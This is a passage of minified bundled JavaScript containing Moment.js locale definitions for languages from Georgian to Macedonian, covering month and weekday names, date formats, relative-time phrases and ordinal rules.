dinten",M:"sewulan",MM:"%d wulan",y:"setaun",yy:"%d taun"},week:{dow:1,doy:7}})}(n(381))},2105:function(e,t,n){!function(e){"use strict";e.defineLocale("ka",{months:"იანვარი_თებერვალი_მარტი_აპრილი_მაისი_ივნისი_ივლისი_აგვისტო_სექტემბერი_ოქტომბერი_ნოემბერი_დეკემბერი".split("_"),monthsShort:"იან_თებ_მარ_აპრ_მაი_ივნ_ივლ_აგვ_სექ_ოქტ_ნოე_დეკ".split("_"),weekdays:{standalone:"კვირა_ორშაბათი_სამშაბათი_ოთხშაბათი_ხუთშაბათი_პარასკევი_შაბათი".split("_"),format:"კვირას_ორშაბათს_სამშაბათს_ოთხშაბათს_ხუთშაბათს_პარასკევს_შაბათს".split("_"),isFormat:/(წინა|შემდეგ)/},weekdaysShort:"კვი_ორშ_სამ_ოთხ_ხუთ_პარ_შაბ".split("_"),weekdaysMin:"კვ_ორ_სა_ოთ_ხუ_პა_შა".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[დღეს] LT[-ზე]",nextDay:"[ხვალ] LT[-ზე]",lastDay:"[გუშინ] LT[-ზე]",nextWeek:"[შემდეგ] dddd LT[-ზე]",lastWeek:"[წინა] dddd LT-ზე",sameElse:"L"},relativeTime:{future:function(e){return e.replace(/(წამ|წუთ|საათ|წელ|დღ|თვ)(ი|ე)/,(function(e,t,n){return"ი"===n?t+"ში":t+n+"ში"}))},past:function(e){return/(წამი|წუთი|საათი|დღე|თვე)/.test(e)?e.replace(/(ი|ე)$/,"ის წინ"):/წელი/.test(e)?e.replace(/წელი$/,"წლის წინ"):e},s:"რამდენიმე წამი",ss:"%d წამი",m:"წუთი",mm:"%d წუთი",h:"საათი",hh:"%d საათი",d:"დღე",dd:"%d დღე",M:"თვე",MM:"%d თვე",y:"წელი",yy:"%d წელი"},dayOfMonthOrdinalParse:/0|1-ლი|მე-\d{1,2}|\d{1,2}-ე/,ordinal:function(e){return 0===e?e:1===e?e+"-ლი":e<20||e<=100&&e%20==0||e%100==0?"მე-"+e:e+"-ე"},week:{dow:1,doy:7}})}(n(381))},7772:function(e,t,n){!function(e){"use strict";var t={0:"-ші",1:"-ші",2:"-ші",3:"-ші",4:"-ші",5:"-ші",6:"-шы",7:"-ші",8:"-ші",9:"-шы",10:"-шы",20:"-шы",30:"-шы",40:"-шы",50:"-ші",60:"-шы",70:"-ші",80:"-ші",90:"-шы",100:"-ші"};e.defineLocale("kk",{months:"қаңтар_ақпан_наурыз_сәуір_мамыр_маусым_шілде_тамыз_қыркүйек_қазан_қараша_желтоқсан".split("_"),monthsShort:"қаң_ақп_нау_сәу_мам_мау_шіл_там_қыр_қаз_қар_жел".split("_"),weekdays:"жексенбі_дүйсенбі_сейсенбі_сәрсенбі_бейсенбі_жұма_сенбі".split("_"),weekdaysShort:"жек_дүй_сей_сәр_бей_жұм_сен".split("_"),weekdaysMin:"жк_дй_сй_ср_бй_жм_сн".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Бүгін сағат] LT",nextDay:"[Ертең сағат] LT",nextWeek:"dddd [сағат] LT",lastDay:"[Кеше сағат] LT",lastWeek:"[Өткен аптаның] dddd [сағат] LT",sameElse:"L"},relativeTime:{future:"%s ішінде",past:"%s бұрын",s:"бірнеше секунд",ss:"%d секунд",m:"бір минут",mm:"%d минут",h:"бір сағат",hh:"%d сағат",d:"бір күн",dd:"%d күн",M:"бір ай",MM:"%d ай",y:"бір жыл",yy:"%d жыл"},dayOfMonthOrdinalParse:/\d{1,2}-(ші|шы)/,ordinal:function(e){var n=e%10,r=e>=100?100:null;return e+(t[e]||t[n]||t[r])},week:{dow:1,doy:7}})}(n(381))},8758:function(e,t,n){!function(e){"use strict";var t={1:"១",2:"២",3:"៣",4:"៤",5:"៥",6:"៦",7:"៧",8:"៨",9:"៩",0:"០"},n={"១":"1","២":"2","៣":"3","៤":"4","៥":"5","៦":"6","៧":"7","៨":"8","៩":"9","០":"0"};e.defineLocale("km",{months:"មករា_កុម្ភៈ_មីនា_មេសា_ឧសភា_មិថុនា_កក្កដា_សីហា_កញ្ញា_តុលា_វិច្ឆិកា_ធ្នូ".split("_"),monthsShort:"មករា_កុម្ភៈ_មីនា_មេសា_ឧសភា_មិថុនា_កក្កដា_សីហា_កញ្ញា_តុលា_វិច្ឆិកា_ធ្នូ".split("_"),weekdays:"អាទិត្យ_ច័ន្ទ_អង្គារ_ពុធ_ព្រហស្បតិ៍_សុក្រ_សៅរ៍".split("_"),weekdaysShort:"អា_ច_អ_ព_ព្រ_សុ_ស".split("_"),weekdaysMin:"អា_ច_អ_ព_ព្រ_សុ_ស".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},meridiemParse:/ព្រឹក|ល្ងាច/,isPM:function(e){return"ល្ងាច"===e},meridiem:function(e,t,n){return e<12?"ព្រឹក":"ល្ងាច"},calendar:{sameDay:"[ថ្ងៃនេះ ម៉ោង] LT",nextDay:"[ស្អែក ម៉ោង] LT",nextWeek:"dddd [ម៉ោង] LT",lastDay:"[ម្សិលមិញ ម៉ោង] LT",lastWeek:"dddd [សប្តាហ៍មុន] [ម៉ោង] LT",sameElse:"L"},relativeTime:{future:"%sទៀត",past:"%sមុន",s:"ប៉ុន្មានវិនាទី",ss:"%d វិនាទី",m:"មួយនាទី",mm:"%d នាទី",h:"មួយម៉ោង",hh:"%d ម៉ោង",d:"មួយថ្ងៃ",dd:"%d ថ្ងៃ",M:"មួយខែ",MM:"%d ខែ",y:"មួយឆ្នាំ",yy:"%d ឆ្នាំ"},dayOfMonthOrdinalParse:/ទី\d{1,2}/,ordinal:"ទី%d",preparse:function(e){return e.replace(/[១២៣៤៥៦៧៨៩០]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},week:{dow:1,doy:4}})}(n(381))},9282:function(e,t,n){!function(e){"use strict";var t={1:"೧",2:"೨",3:"೩",4:"೪",5:"೫",6:"೬",7:"೭",8:"೮",9:"೯",0:"೦"},n={"೧":"1","೨":"2","೩":"3","೪":"4","೫":"5","೬":"6","೭":"7","೮":"8","೯":"9","೦":"0"};e.defineLocale("kn",{months:"ಜನವರಿ_ಫೆಬ್ರವರಿ_ಮಾರ್ಚ್_ಏಪ್ರಿಲ್_ಮೇ_ಜೂನ್_ಜುಲೈ_ಆಗಸ್ಟ್_ಸೆಪ್ಟೆಂಬರ್_ಅಕ್ಟೋಬರ್_ನವೆಂಬರ್_ಡಿಸೆಂಬರ್".split("_"),monthsShort:"ಜನ_ಫೆಬ್ರ_ಮಾರ್ಚ್_ಏಪ್ರಿಲ್_ಮೇ_ಜೂನ್_ಜುಲೈ_ಆಗಸ್ಟ್_ಸೆಪ್ಟೆಂ_ಅಕ್ಟೋ_ನವೆಂ_ಡಿಸೆಂ".split("_"),monthsParseExact:!0,weekdays:"ಭಾನುವಾರ_ಸೋಮವಾರ_ಮಂಗಳವಾರ_ಬುಧವಾರ_ಗುರುವಾರ_ಶುಕ್ರವಾರ_ಶನಿವಾರ".split("_"),weekdaysShort:"ಭಾನು_ಸೋಮ_ಮಂಗಳ_ಬುಧ_ಗುರು_ಶುಕ್ರ_ಶನಿ".split("_"),weekdaysMin:"ಭಾ_ಸೋ_ಮಂ_ಬು_ಗು_ಶು_ಶ".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm",LLLL:"dddd, D MMMM YYYY, A h:mm"},calendar:{sameDay:"[ಇಂದು] LT",nextDay:"[ನಾಳೆ] LT",nextWeek:"dddd, LT",lastDay:"[ನಿನ್ನೆ] LT",lastWeek:"[ಕೊನೆಯ] dddd, LT",sameElse:"L"},relativeTime:{future:"%s ನಂತರ",past:"%s ಹಿಂದೆ",s:"ಕೆಲವು ಕ್ಷಣಗಳು",ss:"%d ಸೆಕೆಂಡುಗಳು",m:"ಒಂದು ನಿಮಿಷ",mm:"%d ನಿಮಿಷ",h:"ಒಂದು ಗಂಟೆ",hh:"%d ಗಂಟೆ",d:"ಒಂದು ದಿನ",dd:"%d ದಿನ",M:"ಒಂದು ತಿಂಗಳು",MM:"%d ತಿಂಗಳು",y:"ಒಂದು ವರ್ಷ",yy:"%d ವರ್ಷ"},preparse:function(e){return e.replace(/[೧೨೩೪೫೬೭೮೯೦]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/ರಾತ್ರಿ|ಬೆಳಿಗ್ಗೆ|ಮಧ್ಯಾಹ್ನ|ಸಂಜೆ/,meridiemHour:function(e,t){return 12===e&&(e=0),"ರಾತ್ರಿ"===t?e<4?e:e+12:"ಬೆಳಿಗ್ಗೆ"===t?e:"ಮಧ್ಯಾಹ್ನ"===t?e>=10?e:e+12:"ಸಂಜೆ"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"ರಾತ್ರಿ":e<10?"ಬೆಳಿಗ್ಗೆ":e<17?"ಮಧ್ಯಾಹ್ನ":e<20?"ಸಂಜೆ":"ರಾತ್ರಿ"},dayOfMonthOrdinalParse:/\d{1,2}(ನೇ)/,ordinal:function(e){return e+"ನೇ"},week:{dow:0,doy:6}})}(n(381))},3730:function(e,t,n){!function(e){"use strict";e.defineLocale("ko",{months:"1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월".split("_"),monthsShort:"1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월".split("_"),weekdays:"일요일_월요일_화요일_수요일_목요일_금요일_토요일".split("_"),weekdaysShort:"일_월_화_수_목_금_토".split("_"),weekdaysMin:"일_월_화_수_목_금_토".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"YYYY.MM.DD.",LL:"YYYY년 MMMM D일",LLL:"YYYY년 MMMM D일 A h:mm",LLLL:"YYYY년 MMMM D일 dddd A h:mm",l:"YYYY.MM.DD.",ll:"YYYY년 MMMM D일",lll:"YYYY년 MMMM D일 A h:mm",llll:"YYYY년 MMMM D일 dddd A h:mm"},calendar:{sameDay:"오늘 LT",nextDay:"내일 LT",nextWeek:"dddd LT",lastDay:"어제 LT",lastWeek:"지난주 dddd LT",sameElse:"L"},relativeTime:{future:"%s 후",past:"%s 전",s:"몇 초",ss:"%d초",m:"1분",mm:"%d분",h:"한 시간",hh:"%d시간",d:"하루",dd:"%d일",M:"한 달",MM:"%d달",y:"일 년",yy:"%d년"},dayOfMonthOrdinalParse:/\d{1,2}(일|월|주)/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+"일";case"M":return e+"월";case"w":case"W":return e+"주";default:return e}},meridiemParse:/오전|오후/,isPM:function(e){return"오후"===e},meridiem:function(e,t,n){return e<12?"오전":"오후"}})}(n(381))},1408:function(e,t,n){!function(e){"use strict";var t={1:"١",2:"٢",3:"٣",4:"٤",5:"٥",6:"٦",7:"٧",8:"٨",9:"٩",0:"٠"},n={"١":"1","٢":"2","٣":"3","٤":"4","٥":"5","٦":"6","٧":"7","٨":"8","٩":"9","٠":"0"},r=["کانونی دووەم","شوبات","ئازار","نیسان","ئایار","حوزەیران","تەمموز","ئاب","ئەیلوول","تشرینی یەكەم","تشرینی دووەم","كانونی یەکەم"];e.defineLocale("ku",{months:r,monthsShort:r,weekdays:"یه‌كشه‌ممه‌_دووشه‌ممه‌_سێشه‌ممه‌_چوارشه‌ممه‌_پێنجشه‌ممه‌_هه‌ینی_شه‌ممه‌".split("_"),weekdaysShort:"یه‌كشه‌م_دووشه‌م_سێشه‌م_چوارشه‌م_پێنجشه‌م_هه‌ینی_شه‌ممه‌".split("_"),weekdaysMin:"ی_د_س_چ_پ_ه_ش".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},meridiemParse:/ئێواره‌|به‌یانی/,isPM:function(e){return/ئێواره‌/.test(e)},meridiem:function(e,t,n){return e<12?"به‌یانی":"ئێواره‌"},calendar:{sameDay:"[ئه‌مرۆ كاتژمێر] LT",nextDay:"[به‌یانی كاتژمێر] LT",nextWeek:"dddd [كاتژمێر] LT",lastDay:"[دوێنێ كاتژمێر] LT",lastWeek:"dddd [كاتژمێر] LT",sameElse:"L"},relativeTime:{future:"له‌ %s",past:"%s",s:"چه‌ند چركه‌یه‌ك",ss:"چركه‌ %d",m:"یه‌ك خوله‌ك",mm:"%d خوله‌ك",h:"یه‌ك كاتژمێر",hh:"%d كاتژمێر",d:"یه‌ك ڕۆژ",dd:"%d ڕۆژ",M:"یه‌ك مانگ",MM:"%d مانگ",y:"یه‌ك ساڵ",yy:"%d ساڵ"},preparse:function(e){return e.replace(/[١٢٣٤٥٦٧٨٩٠]/g,(function(e){return n[e]})).replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},week:{dow:6,doy:12}})}(n(381))},3291:function(e,t,n){!function(e){"use strict";var t={0:"-чү",1:"-чи",2:"-чи",3:"-чү",4:"-чү",5:"-чи",6:"-чы",7:"-чи",8:"-чи",9:"-чу",10:"-чу",20:"-чы",30:"-чу",40:"-чы",50:"-чү",60:"-чы",70:"-чи",80:"-чи",90:"-чу",100:"-чү"};e.defineLocale("ky",{months:"январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь".split("_"),monthsShort:"янв_фев_март_апр_май_июнь_июль_авг_сен_окт_ноя_дек".split("_"),weekdays:"Жекшемби_Дүйшөмбү_Шейшемби_Шаршемби_Бейшемби_Жума_Ишемби".split("_"),weekdaysShort:"Жек_Дүй_Шей_Шар_Бей_Жум_Ише".split("_"),weekdaysMin:"Жк_Дй_Шй_Шр_Бй_Жм_Иш".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Бүгүн саат] LT",nextDay:"[Эртең саат] LT",nextWeek:"dddd [саат] LT",lastDay:"[Кечээ саат] LT",lastWeek:"[Өткөн аптанын] dddd [күнү] [саат] LT",sameElse:"L"},relativeTime:{future:"%s ичинде",past:"%s мурун",s:"бирнече секунд",ss:"%d секунд",m:"бир мүнөт",mm:"%d мүнөт",h:"бир саат",hh:"%d саат",d:"бир күн",dd:"%d күн",M:"бир ай",MM:"%d ай",y:"бир жыл",yy:"%d жыл"},dayOfMonthOrdinalParse:/\d{1,2}-(чи|чы|чү|чу)/,ordinal:function(e){var n=e%10,r=e>=100?100:null;return e+(t[e]||t[n]||t[r])},week:{dow:1,doy:7}})}(n(381))},6841:function(e,t,n){!function(e){"use strict";function t(e,t,n,r){var i={m:["eng Minutt","enger Minutt"],h:["eng Stonn","enger Stonn"],d:["een Dag","engem Dag"],M:["ee Mount","engem Mount"],y:["ee Joer","engem Joer"]};return t?i[n][0]:i[n][1]}function n(e){return i(e.substr(0,e.indexOf(" ")))?"a "+e:"an "+e}function r(e){return i(e.substr(0,e.indexOf(" ")))?"viru "+e:"virun "+e}function i(e){if(e=parseInt(e,10),isNaN(e))return!1;if(e<0)return!0;if(e<10)return 4<=e&&e<=7;if(e<100){var t=e%10;return i(0===t?e/10:t)}if(e<1e4){for(;e>=10;)e/=10;return i(e)}return i(e/=1e3)}e.defineLocale("lb",{months:"Januar_Februar_Mäerz_Abrëll_Mee_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jan._Febr._Mrz._Abr._Mee_Jun._Jul._Aug._Sept._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonndeg_Méindeg_Dënschdeg_Mëttwoch_Donneschdeg_Freideg_Samschdeg".split("_"),weekdaysShort:"So._Mé._Dë._Më._Do._Fr._Sa.".split("_"),weekdaysMin:"So_Mé_Dë_Më_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm [Auer]",LTS:"H:mm:ss [Auer]",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm [Auer]",LLLL:"dddd, D. MMMM YYYY H:mm [Auer]"},calendar:{sameDay:"[Haut um] LT",sameElse:"L",nextDay:"[Muer um] LT",nextWeek:"dddd [um] LT",lastDay:"[Gëschter um] LT",lastWeek:function(){switch(this.day()){case 2:case 4:return"[Leschten] dddd [um] LT";default:return"[Leschte] dddd [um] LT"}}},relativeTime:{future:n,past:r,s:"e puer Sekonnen",ss:"%d Sekonnen",m:t,mm:"%d Minutten",h:t,hh:"%d Stonnen",d:t,dd:"%d Deeg",M:t,MM:"%d Méint",y:t,yy:"%d Joer"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},5466:function(e,t,n){!function(e){"use strict";e.defineLocale("lo",{months:"ມັງກອນ_ກຸມພາ_ມີນາ_ເມສາ_ພຶດສະພາ_ມິຖຸນາ_ກໍລະກົດ_ສິງຫາ_ກັນຍາ_ຕຸລາ_ພະຈິກ_ທັນວາ".split("_"),monthsShort:"ມັງກອນ_ກຸມພາ_ມີນາ_ເມສາ_ພຶດສະພາ_ມິຖຸນາ_ກໍລະກົດ_ສິງຫາ_ກັນຍາ_ຕຸລາ_ພະຈິກ_ທັນວາ".split("_"),weekdays:"ອາທິດ_ຈັນ_ອັງຄານ_ພຸດ_ພະຫັດ_ສຸກ_ເສົາ".split("_"),weekdaysShort:"ທິດ_ຈັນ_ອັງຄານ_ພຸດ_ພະຫັດ_ສຸກ_ເສົາ".split("_"),weekdaysMin:"ທ_ຈ_ອຄ_ພ_ພຫ_ສກ_ສ".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"ວັນdddd D MMMM YYYY HH:mm"},meridiemParse:/ຕອນເຊົ້າ|ຕອນແລງ/,isPM:function(e){return"ຕອນແລງ"===e},meridiem:function(e,t,n){return e<12?"ຕອນເຊົ້າ":"ຕອນແລງ"},calendar:{sameDay:"[ມື້ນີ້ເວລາ] LT",nextDay:"[ມື້ອື່ນເວລາ] LT",nextWeek:"[ວັນ]dddd[ໜ້າເວລາ] LT",lastDay:"[ມື້ວານນີ້ເວລາ] LT",lastWeek:"[ວັນ]dddd[ແລ້ວນີ້ເວລາ] LT",sameElse:"L"},relativeTime:{future:"ອີກ %s",past:"%sຜ່ານມາ",s:"ບໍ່ເທົ່າໃດວິນາທີ",ss:"%d ວິນາທີ",m:"1 ນາທີ",mm:"%d ນາທີ",h:"1 ຊົ່ວໂມງ",hh:"%d ຊົ່ວໂມງ",d:"1 ມື້",dd:"%d ມື້",M:"1 ເດືອນ",MM:"%d ເດືອນ",y:"1 ປີ",yy:"%d ປີ"},dayOfMonthOrdinalParse:/(ທີ່)\d{1,2}/,ordinal:function(e){return"ທີ່"+e}})}(n(381))},7010:function(e,t,n){!function(e){"use strict";var t={ss:"sekundė_sekundžių_sekundes",m:"minutė_minutės_minutę",mm:"minutės_minučių_minutes",h:"valanda_valandos_valandą",hh:"valandos_valandų_valandas",d:"diena_dienos_dieną",dd:"dienos_dienų_dienas",M:"mėnuo_mėnesio_mėnesį",MM:"mėnesiai_mėnesių_mėnesius",y:"metai_metų_metus",yy:"metai_metų_metus"};function n(e,t,n,r){return t?"kelios sekundės":r?"kelių sekundžių":"kelias sekundes"}function r(e,t,n,r){return t?a(n)[0]:r?a(n)[1]:a(n)[2]}function i(e){return e%10==0||e>10&&e<20}function a(e){return t[e].split("_")}function o(e,t,n,o){var s=e+" ";return 1===e?s+r(e,t,n[0],o):t?s+(i(e)?a(n)[1]:a(n)[0]):o?s+a(n)[1]:s+(i(e)?a(n)[1]:a(n)[2])}e.defineLocale("lt",{months:{format:"sausio_vasario_kovo_balandžio_gegužės_birželio_liepos_rugpjūčio_rugsėjo_spalio_lapkričio_gruodžio".split("_"),standalone:"sausis_vasaris_kovas_balandis_gegužė_birželis_liepa_rugpjūtis_rugsėjis_spalis_lapkritis_gruodis".split("_"),isFormat:/D[oD]?(\[[^\[\]]*\]|\s)+MMMM?|MMMM?(\[[^\[\]]*\]|\s)+D[oD]?/},monthsShort:"sau_vas_kov_bal_geg_bir_lie_rgp_rgs_spa_lap_grd".split("_"),weekdays:{format:"sekmadienį_pirmadienį_antradienį_trečiadienį_ketvirtadienį_penktadienį_šeštadienį".split("_"),standalone:"sekmadienis_pirmadienis_antradienis_trečiadienis_ketvirtadienis_penktadienis_šeštadienis".split("_"),isFormat:/dddd HH:mm/},weekdaysShort:"Sek_Pir_Ant_Tre_Ket_Pen_Šeš".split("_"),weekdaysMin:"S_P_A_T_K_Pn_Š".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY [m.] MMMM D [d.]",LLL:"YYYY [m.] MMMM D [d.], HH:mm [val.]",LLLL:"YYYY [m.] MMMM D [d.], dddd, HH:mm [val.]",l:"YYYY-MM-DD",ll:"YYYY [m.] MMMM D [d.]",lll:"YYYY [m.] MMMM D [d.], HH:mm [val.]",llll:"YYYY [m.] MMMM D [d.], ddd, HH:mm [val.]"},calendar:{sameDay:"[Šiandien] LT",nextDay:"[Rytoj] LT",nextWeek:"dddd LT",lastDay:"[Vakar] LT",lastWeek:"[Praėjusį] dddd LT",sameElse:"L"},relativeTime:{future:"po %s",past:"prieš %s",s:n,ss:o,m:r,mm:o,h:r,hh:o,d:r,dd:o,M:r,MM:o,y:r,yy:o},dayOfMonthOrdinalParse:/\d{1,2}-oji/,ordinal:function(e){return e+"-oji"},week:{dow:1,doy:4}})}(n(381))},7595:function(e,t,n){!function(e){"use strict";var t={ss:"sekundes_sekundēm_sekunde_sekundes".split("_"),m:"minūtes_minūtēm_minūte_minūtes".split("_"),mm:"minūtes_minūtēm_minūte_minūtes".split("_"),h:"stundas_stundām_stunda_stundas".split("_"),hh:"stundas_stundām_stunda_stundas".split("_"),d:"dienas_dienām_diena_dienas".split("_"),dd:"dienas_dienām_diena_dienas".split("_"),M:"mēneša_mēnešiem_mēnesis_mēneši".split("_"),MM:"mēneša_mēnešiem_mēnesis_mēneši".split("_"),y:"gada_gadiem_gads_gadi".split("_"),yy:"gada_gadiem_gads_gadi".split("_")};function n(e,t,n){return n?t%10==1&&t%100!=11?e[2]:e[3]:t%10==1&&t%100!=11?e[0]:e[1]}function r(e,r,i){return e+" "+n(t[i],e,r)}function i(e,r,i){return n(t[i],e,r)}function a(e,t){return t?"dažas sekundes":"dažām sekundēm"}e.defineLocale("lv",{months:"janvāris_februāris_marts_aprīlis_maijs_jūnijs_jūlijs_augusts_septembris_oktobris_novembris_decembris".split("_"),monthsShort:"jan_feb_mar_apr_mai_jūn_jūl_aug_sep_okt_nov_dec".split("_"),weekdays:"svētdiena_pirmdiena_otrdiena_trešdiena_ceturtdiena_piektdiena_sestdiena".split("_"),weekdaysShort:"Sv_P_O_T_C_Pk_S".split("_"),weekdaysMin:"Sv_P_O_T_C_Pk_S".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY.",LL:"YYYY. [gada] D. MMMM",LLL:"YYYY. [gada] D. MMMM, HH:mm",LLLL:"YYYY. [gada] D. MMMM, dddd, HH:mm"},calendar:{sameDay:"[Šodien pulksten] LT",nextDay:"[Rīt pulksten] LT",nextWeek:"dddd [pulksten] LT",lastDay:"[Vakar pulksten] LT",lastWeek:"[Pagājušā] dddd [pulksten] LT",sameElse:"L"},relativeTime:{future:"pēc %s",past:"pirms %s",s:a,ss:r,m:i,mm:r,h:i,hh:r,d:i,dd:r,M:i,MM:r,y:i,yy:r},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},9861:function(e,t,n){!function(e){"use strict";var t={words:{ss:["sekund","sekunda","sekundi"],m:["jedan minut","jednog minuta"],mm:["minut","minuta","minuta"],h:["jedan sat","jednog sata"],hh:["sat","sata","sati"],dd:["dan","dana","dana"],MM:["mjesec","mjeseca","mjeseci"],yy:["godina","godine","godina"]},correctGrammaticalCase:function(e,t){return 1===e?t[0]:e>=2&&e<=4?t[1]:t[2]},translate:function(e,n,r){var i=t.words[r];return 1===r.length?n?i[0]:i[1]:e+" "+t.correctGrammaticalCase(e,i)}};e.defineLocale("me",{months:"januar_februar_mart_april_maj_jun_jul_avgust_septembar_oktobar_novembar_decembar".split("_"),monthsShort:"jan._feb._mar._apr._maj_jun_jul_avg._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sri._čet._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_če_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sjutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedjelju] [u] LT";case 3:return"[u] [srijedu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[juče u] LT",lastWeek:function(){return["[prošle] [nedjelje] [u] LT","[prošlog] [ponedjeljka] [u] LT","[prošlog] [utorka] [u] LT","[prošle] [srijede] [u] LT","[prošlog] [četvrtka] [u] LT","[prošlog] [petka] [u] LT","[prošle] [subote] [u] LT"][this.day()]},sameElse:"L"},relativeTime:{future:"za %s",past:"prije %s",s:"nekoliko sekundi",ss:t.translate,m:t.translate,mm:t.translate,h:t.translate,hh:t.translate,d:"dan",dd:t.translate,M:"mjesec",MM:t.translate,y:"godinu",yy:t.translate},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(381))},5493:function(e,t,n){!function(e){"use strict";e.defineLocale("mi",{months:"Kohi-tāte_Hui-tanguru_Poutū-te-rangi_Paenga-whāwhā_Haratua_Pipiri_Hōngoingoi_Here-turi-kōkā_Mahuru_Whiringa-ā-nuku_Whiringa-ā-rangi_Hakihea".split("_"),monthsShort:"Kohi_Hui_Pou_Pae_Hara_Pipi_Hōngoi_Here_Mahu_Whi-nu_Whi-ra_Haki".split("_"),monthsRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,monthsStrictRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,monthsShortRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,monthsShortStrictRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,2}/i,weekdays:"Rātapu_Mane_Tūrei_Wenerei_Tāite_Paraire_Hātarei".split("_"),weekdaysShort:"Ta_Ma_Tū_We_Tāi_Pa_Hā".split("_"),weekdaysMin:"Ta_Ma_Tū_We_Tāi_Pa_Hā".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [i] HH:mm",LLLL:"dddd, D MMMM YYYY [i] HH:mm"},calendar:{sameDay:"[i teie mahana, i] LT",nextDay:"[apopo i] LT",nextWeek:"dddd [i] LT",lastDay:"[inanahi i] LT",lastWeek:"dddd [whakamutunga i] LT",sameElse:"L"},relativeTime:{future:"i roto i %s",past:"%s i mua",s:"te hēkona ruarua",ss:"%d hēkona",m:"he meneti",mm:"%d meneti",h:"te haora",hh:"%d haora",d:"he ra",dd:"%d ra",M:"he marama",MM:"%d marama",y:"he tau",yy:"%d tau"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n(381))},5966:function(e,t,n){!function(e){"use strict";e.defineLocale("mk",{months:"јануари_февруари_март_април_мај_јуни_јули_август_септември_октомври_ноември_декември".split("_"),monthsShort:"јан_фев_мар_апр_мај_јун_јул_авг_сеп_окт_ное_дек".split("_"),weekdays:"недела_понеделник_вторник_среда_четврток_петок_сабота".split("_"),weekdaysShort:"нед_пон_вто_сре_чет_пет_саб".split("_"),weekdaysMin:"нe_пo_вт_ср_че_пе_сa".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY H:mm",LLLL:"dddd, D MMMM YYYY H:mm"},calendar:{sameDay:"[Денес во] LT",nextDay:"[Утре во] LT",nextWeek:"[Во] dddd [во] LT",lastDay:"[Вчера во] LT",lastWeek:function(){switch(this.day()){case 0:case 3:case 6:return"[Изминатата] dddd [во] LT";case 1:case 2:case 4:case 5:return"[Изминатиот] dddd [во] LT"}},sameElse:"L"},relativeTime:{future:"за %s",past:"пред %s",s:"неколку секунди",ss:"%d 